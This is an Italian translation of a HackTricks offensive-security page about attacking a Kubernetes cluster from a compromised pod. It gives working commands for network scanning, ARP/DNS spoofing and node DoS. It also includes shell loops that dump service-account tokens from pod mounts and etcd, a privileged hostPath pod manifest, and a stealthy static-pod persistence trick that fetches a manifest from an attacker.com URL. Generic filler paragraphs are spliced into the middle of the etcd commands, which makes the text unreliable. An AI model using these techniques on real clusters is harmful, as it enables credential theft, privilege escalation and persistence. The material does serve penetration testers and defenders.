Attacking Kubernetes from inside a Pod

Attaccare Kubernetes da dentro un Pod

Impara l'hacking su AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Fuga dal Pod

Se sei abbastanza fortunato potresti riuscire a scappare da esso verso il nodo:

Fuga dal pod

Per cercare di fuggire dal pod potresti aver bisogno di escalare i privilegi prima, alcune tecniche per farlo:

Puoi controllare questi escapes di docker per cercare di fuggire da un pod che hai compromesso:

Abuso dei Privilegi di Kubernetes

Come spiegato nella sezione sull'enumerazione di Kubernetes:

pageKubernetes Enumeration

Di solito i pod vengono eseguiti con un token dell'account di servizio al loro interno. Questo account di servizio potrebbe avere alcuni privilegi ad esso associati che potresti abusare per spostarti su altri pod o addirittura per fuggire ai nodi configurati all'interno del cluster. Controlla come fare in:

pageAbusing Roles/ClusterRoles in Kubernetes

Abuso dei Privilegi Cloud

Se il pod viene eseguito all'interno di un ambiente cloud potresti essere in grado di ottenere un token dal punto di metadata e di escalare i privilegi usando esso.

Ricerca di servizi di rete vulnerabili

Essendo all'interno dell'ambiente Kubernetes, se non riesci ad escalare i privilegi abusando dei privilegi attuali dei pod e non riesci a fuggire dal container, dovresti cercare potenziali servizi vulnerabili.

Servizi

A questo scopo, puoi provare a ottenere tutti i servizi dell'ambiente Kubernetes:

kubectl get svc --all-namespaces

Di default, Kubernetes utilizza uno schema di rete piatto, il che significa che qualsiasi pod/servizio all'interno del cluster può comunicare con gli altri. I namespace all'interno del cluster non hanno restrizioni di sicurezza di rete di default. Chiunque nel namespace può comunicare con altri namespace.

Scansione

Lo script Bash seguente (preso da un workshop su Kubernetes) installerà e scannerizzerà gli intervalli IP del cluster Kubernetes:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Controlla la seguente pagina per apprendere come potresti attaccare i servizi specifici di Kubernetes per compromettere altri pod/tutto l'ambiente:

pagePentesting Kubernetes Services

Sniffing

Nel caso in cui il pod compromesso stia eseguendo un servizio sensibile in cui gli altri pod devono autenticarsi, potresti essere in grado di ottenere le credenziali inviate dagli altri pod sniffando le comunicazioni locali.

Network Spoofing

Per impostazione predefinita, tecniche come ARP spoofing (e grazie a questo DNS Spoofing) funzionano nella rete di Kubernetes. Quindi, all'interno di un pod, se hai la capacità NET_RAW (che è attiva per impostazione predefinita), sarai in grado di inviare pacchetti di rete personalizzati e eseguire attacchi MitM tramite ARP Spoofing a tutti i pod in esecuzione nello stesso nodo. Inoltre, se il pod malintenzionato è in esecuzione nello stesso nodo del server DNS, sarai in grado di eseguire un attacco di DNS Spoofing a tutti i pod nel cluster.

pageKubernetes Network Attacks

Node DoS

Non vi è alcuna specifica di risorse nei manifesti di Kubernetes e limiti non applicati per i contenitori. Come attaccante, possiamo consumare tutte le risorse in cui il pod/deployment è in esecuzione e privare altre risorse causando un DoS per l'ambiente.

Questo può essere fatto con uno strumento come stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Puoi vedere la differenza mentre esegui stress-ng e dopo.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Post-Esploitation del Nodo

Se sei riuscito a uscire dal container ci sono alcune cose interessanti che troverai nel nodo:

  • Il processo Container Runtime (Docker)

  • Altri pods/containers in esecuzione nel nodo che puoi sfruttare come questo (più token)

  • L'intero filesystem e OS in generale

  • Il servizio Kube-Proxy in ascolto

  • Il servizio Kubelet in ascolto. Controlla i file di configurazione:

    • Directory: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • Altri file comuni di Kubernetes:

    • $HOME/.kube/config - Configurazione Utente

    • /etc/kubernetes/kubelet.conf- Configurazione Regolare

    • /etc/kubernetes/bootstrap-kubelet.conf - Configurazione Bootstrap

    • /etc/kubernetes/manifests/etcd.yaml - Configurazione etcd

    • /etc/kubernetes/pki - Chiave Kubernetes

Trova il kubeconfig del nodo

Se non riesci a trovare il file kubeconfig in uno dei percorsi precedentemente commentati, controlla l'argomento --kubeconfig del processo kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Rubare Segreti

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Lo script can-they.sh recupererà automaticamente i token di altri pod e verificherà se hanno i permessi che stai cercando (anziché doverli cercare uno per uno):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

DaemonSets Privilegiati

Un DaemonSet è un pod che verrà eseguito in tutti i nodi del cluster. Pertanto, se un DaemonSet è configurato con un account di servizio privilegiato, in TUTTI i nodi sarà possibile trovare il token di quell'account di servizio privilegiato che potresti abusare.

L'exploit è lo stesso della sezione precedente, ma ora non dipendi più dalla fortuna.

Pivot verso il Cloud

Se il cluster è gestito da un servizio cloud, di solito il Nodo avrà un accesso diverso all'endpoint dei metadati rispetto al Pod. Quindi, prova ad accedere all'endpoint dei metadati dal nodo (o da un pod con hostNetwork a True):

pageKubernetes Pivoting to Clouds

Rubare etcd

Se puoi specificare il nodeName del Nodo che eseguirà il container, ottieni una shell all'interno di un nodo di controllo e ottieni il database etcd:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

I nodi del piano di controllo hanno il ruolo di master e nei cluster gestiti dal cloud non sarà possibile eseguire nulla su di essi.

Leggere segreti da etcd

Se puoi eseguire il tuo pod su un nodo del piano di controllo utilizzando il selettore nodeName nella specifica del pod, potresti avere un facile accesso al database etcd, che contiene tutta la configurazione del cluster, compresi tutti i segreti.

Di seguito c'è un modo rapido e sporco per ottenere i segreti da etcd se viene eseguito sul nodo del piano di controllo su cui ti trovi. Se desideri una soluzione più elegante che avvii un pod con l'utilità client etcd etcdctl e utilizzi le credenziali del nodo del piano di controllo per connettersi a etcd ovunque venga eseguito, dai un'occhiata a questo esempio di manifesto di @mauilion.

Controlla se etcd è in esecuzione sul nodo del piano di controllo e vedi dove si trova il database (Questo è su un cluster creato con kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Attaccare Kubernetes da dentro un Pod

Quando un attaccante riesce ad ottenere l'accesso ad un Pod all'interno di un cluster Kubernetes, ci sono diverse tecniche che possono essere utilizzate per eseguire attacchi all'infrastruttura stessa. Alcuni esempi includono:

  1. Attacchi di rete: Un attaccante potrebbe eseguire attacchi di tipo "Man-in-the-Middle" per intercettare il traffico di rete tra i diversi componenti del cluster.

  2. Attacchi di escalation di privilegi: Sfruttando vulnerabilità nel sistema operativo o nelle configurazioni di Kubernetes, un attaccante potrebbe cercare di ottenere privilegi più elevati all'interno del cluster.

  3. Attacchi di denial of service (DoS): Un attaccante potrebbe tentare di sovraccaricare risorse critiche all'interno del cluster per causare un'interruzione del servizio.

È fondamentale implementare misure di sicurezza a più livelli per proteggere i cluster Kubernetes da potenziali attacchi interni.

data-dir=/var/lib/etcd

Visualizza i dati nel database etcd:

strings /var/lib/etcd/member/snap/db | less

Estrai i token dal database e mostra il nome dell'account di servizio

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Stesso comando, ma con alcuni greps per restituire solo il token predefinito nello spazio dei nomi kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Attaccare Kubernetes da Dentro un Pod

Quando si è all'interno di un pod su un cluster Kubernetes, ci sono diverse tecniche che un attaccante può utilizzare per muoversi lateralmente o ottenere accesso non autorizzato a risorse all'interno del cluster.

Utilizzo di kubectl

Se il binario kubectl è presente all'interno di un pod, un attaccante può utilizzarlo per interagire con il cluster Kubernetes. Questo potrebbe consentire all'attaccante di eseguire comandi per esplorare il cluster, creare nuovi oggetti o modificare quelli esistenti.

Montaggio del File System del Nodo

Se il pod dispone dei privilegi necessari, un attaccante potrebbe montare il file system del nodo host all'interno del pod. Questo potrebbe consentire all'attaccante di accedere ai file sensibili presenti sul nodo o di eseguire comandi con privilegi elevati sul nodo stesso.

Utilizzo di API Kubernetes

Un attaccante potrebbe utilizzare le API di Kubernetes all'interno di un pod per ottenere informazioni sul cluster, creare nuovi oggetti o modificare quelli esistenti. Questo potrebbe essere fatto utilizzando librerie client Kubernetes come client-go.

Utilizzo di Servizi di Rete

Se un pod ha accesso a servizi di rete sensibili all'interno del cluster, un attaccante potrebbe sfruttare questa connettività per eseguire attacchi come il phishing di credenziali o l'intercettazione del traffico di rete sensibile.

Utilizzo di Variabili d'Ambiente e Montaggi Segreti

Se un pod ha accesso a variabili d'ambiente sensibili o a montaggi segreti, un attaccante potrebbe esaminarli per trovare informazioni sensibili come credenziali di accesso o chiavi API.

Conclusioni

È importante proteggere i pod all'interno di un cluster Kubernetes per evitare che gli attaccanti possano sfruttare queste tecniche per compromettere il cluster o ottenere accesso non autorizzato a risorse sensibili.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Persistenza dei Pod Statici/Riflessi

I Pod Statici sono gestiti direttamente dal demone kubelet su un nodo specifico, senza che il server API li osservi. A differenza dei Pod gestiti dal piano di controllo (ad esempio, un Deployment); invece, il kubelet monitora ogni Pod statico (e lo riavvia se fallisce).

Di conseguenza, i Pod statici sono sempre vincolati a un solo Kubelet su un nodo specifico.

Il kubelet cerca automaticamente di creare un Pod speculare sul server API di Kubernetes per ogni Pod statico. Ciò significa che i Pod in esecuzione su un nodo sono visibili sul server API, ma non possono essere controllati da lì. I nomi dei Pod saranno suffissi con il nome host del nodo con un trattino iniziale.

Lo spec di un Pod statico non può fare riferimento ad altri oggetti API (ad esempio, ServiceAccount, ConfigMap, Secret, ecc. Quindi non è possibile abusare di questo comportamento per avviare un pod con un ServiceAccount arbitrario nel nodo corrente per compromettere il cluster. Ma potresti utilizzarlo per eseguire pod in diversi namespace (nel caso sia utile per qualche motivo).

Se ti trovi all'interno dell'host del nodo, puoi far sì che crei un pod statico all'interno di se stesso. Questo è abbastanza utile perché potrebbe consentirti di creare un pod in un namespace diverso come kube-system.

Per creare un pod statico, la documentazione è di grande aiuto. Fondamentalmente hai bisogno di 2 cose:

  • Configurare il parametro --pod-manifest-path=/etc/kubernetes/manifests nel servizio kubelet, o nella configurazione kubelet (staticPodPath) e riavviare il servizio

  • Creare la definizione sul file di definizione del pod in /etc/kubernetes/manifests

Un altro modo più stealth sarebbe:

  • Modificare il parametro staticPodURL dal file di configurazione di kubelet e impostare qualcosa come staticPodURL: http://attacker.com:8765/pod.yaml. Questo farà sì che il processo kubelet crei un pod statico ottenendo la configurazione dall'URL indicato.

Esempio di configurazione del pod per creare un pod privilegiato in kube-system preso da qui:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Eliminare i pods + nodi non schedulabili

Se un attaccante ha compromesso un nodo e può eliminare i pods da altri nodi e rendere altri nodi non in grado di eseguire i pods, i pods verranno eseguiti di nuovo nel nodo compromesso e sarà in grado di rubare i token eseguiti in essi. Per ulteriori informazioni seguire questi link.

Strumenti Automatici

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Last updated